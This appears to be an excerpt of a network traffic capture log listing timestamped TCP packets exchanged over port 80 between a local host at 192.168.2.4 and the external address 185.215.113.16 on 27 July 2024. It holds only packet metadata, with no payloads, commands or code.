Jul 27, 2024 05:39:24.221695900 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.221704960 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.221729040 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.221739054 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.221761942 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.221771002 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.221795082 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.221817970 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.221826077 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.221844912 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.221858978 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.221887112 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.221904993 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.221918106 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.221929073 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.221951008 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.221960068 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.221982956 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.221993923 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.222016096 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.222026110 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.222058058 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.222568989 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.222618103 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.222621918 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.222651005 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.222681999 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.222687960 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.222701073 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.222716093 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.222747087 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.222762108 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.222779989 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.222789049 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.222814083 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.222824097 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.222846985 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.222855091 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.222878933 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.222888947 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.222912073 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.222923994 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.222944975 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.222976923 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.222989082 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.223026037 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.223041058 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.224117994 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.239573002 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.239768982 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.239797115 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.239813089 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.239829063 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.239844084 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.239860058 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.239876032 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.240072966 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.277771950 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.277818918 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.277865887 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.277885914 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.277901888 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.277916908 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.277932882 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.277964115 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.277995110 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.278011084 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.278026104 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.278040886 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.278055906 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.278070927 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.278089046 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.278093100 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.278105974 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.278121948 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.278137922 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.278152943 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.278183937 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.278214931 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.278249979 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.278276920 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.278342009 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.278342009 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.278342009 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.278521061 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.278553009 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.278558969 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.278569937 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.278585911 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.278595924 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.278618097 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.278629065 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.278650999 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.278657913 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.278692961 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.278701067 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.278733969 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.278743029 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.278776884 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.278781891 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.278816938 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.278826952 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.278846025 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.278857946 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.278889894 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.278894901 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.278947115 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.278978109 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.278990030 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.279011011 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.279019117 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.279052973 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.279061079 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.279093981 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.279103994 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.279126883 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.279134035 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.279159069 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.279167891 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.279189110 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.279201984 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.279222012 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.279231071 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.279254913 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.279263973 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.279288054 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.279298067 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.279320955 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.279330015 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.279355049 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.279361963 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.279397011 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.316555977 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.316626072 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.316662073 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.316714048 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.316766024 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.316797972 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.316829920 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.316831112 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.316831112 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.316831112 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.316831112 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.316874027 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.316879988 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.316912889 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.316927910 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.316945076 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.316956997 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.316977978 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.316988945 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.317011118 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.317022085 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.317044973 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.317055941 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.317076921 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.317086935 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.317111015 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.317122936 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.317142963 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.317152023 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.317178965 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.317184925 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.317209959 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.317220926 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.317244053 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.317254066 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.317276001 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.317286015 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.317316055 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.317329884 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.317347050 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.317359924 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.317380905 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.317393064 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.317414045 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.317425013 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.317447901 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.317460060 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.317482948 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.317495108 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.317516088 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.317528009 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.317548037 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.317575932 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.317579985 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.317585945 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.317611933 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.317622900 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.317647934 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.317652941 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.317689896 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.318065882 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.318101883 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.318113089 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.318145990 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.318150043 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.318182945 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.318192005 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.318224907 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.318232059 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.318264008 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.318273067 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.318305969 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.318314075 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.318346024 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.318356991 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.318386078 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.318393946 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.318424940 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.318439960 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.318473101 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.318481922 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.318528891 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.318530083 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.318562031 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.318572044 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.318605900 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.318613052 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.318645000 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.318655014 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.318676949 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.318686962 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.318712950 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.318718910 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.318746090 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.318768978 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.318778038 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.318787098 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.318809986 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.318819046 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.318841934 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.318852901 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.318875074 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.318883896 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.318907976 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.318917036 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.318939924 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.318953037 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.318973064 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.318981886 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.319005013 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.319014072 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.319037914 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.319047928 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.319071054 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.319081068 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.319103956 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.319113016 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.319135904 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.319144964 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.319170952 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.319176912 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.319210052 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.332408905 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.332530022 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.332586050 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.332592964 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.332623005 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.332632065 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.332658052 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.332665920 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.332690954 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.332700014 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.332726002 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.332732916 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.332758904 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.332767963 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.332815886 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.370280027 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.370328903 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.370362043 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.370388031 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.370393038 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.370415926 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.370435953 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.370445967 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.370477915 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.370488882 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.370512962 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.370517969 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.370544910 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.370552063 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.370579958 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.370585918 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.370611906 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.370620966 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.370645046 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.370654106 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.370677948 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.370692015 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.370716095 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.370728016 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.370748043 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.370759010 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.370781898 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.370790005 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.370814085 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.370824099 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.370861053 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.370872021 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.370904922 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.370918989 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.370938063 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.370945930 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.370970964 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.370980978 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.371004105 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.371016026 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.371036053 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.371047020 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.371078968 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.371085882 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.371114969 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.371145964 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.371145964 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.371157885 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.371181011 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.371191978 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.371215105 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.371226072 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.371268034 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.371269941 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.371301889 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.371320963 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.371345997 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.371350050 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.371381044 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.371390104 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.371413946 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.371424913 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.371447086 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.371458054 CEST	49489	80	192.168.2.4	185.215.113.16
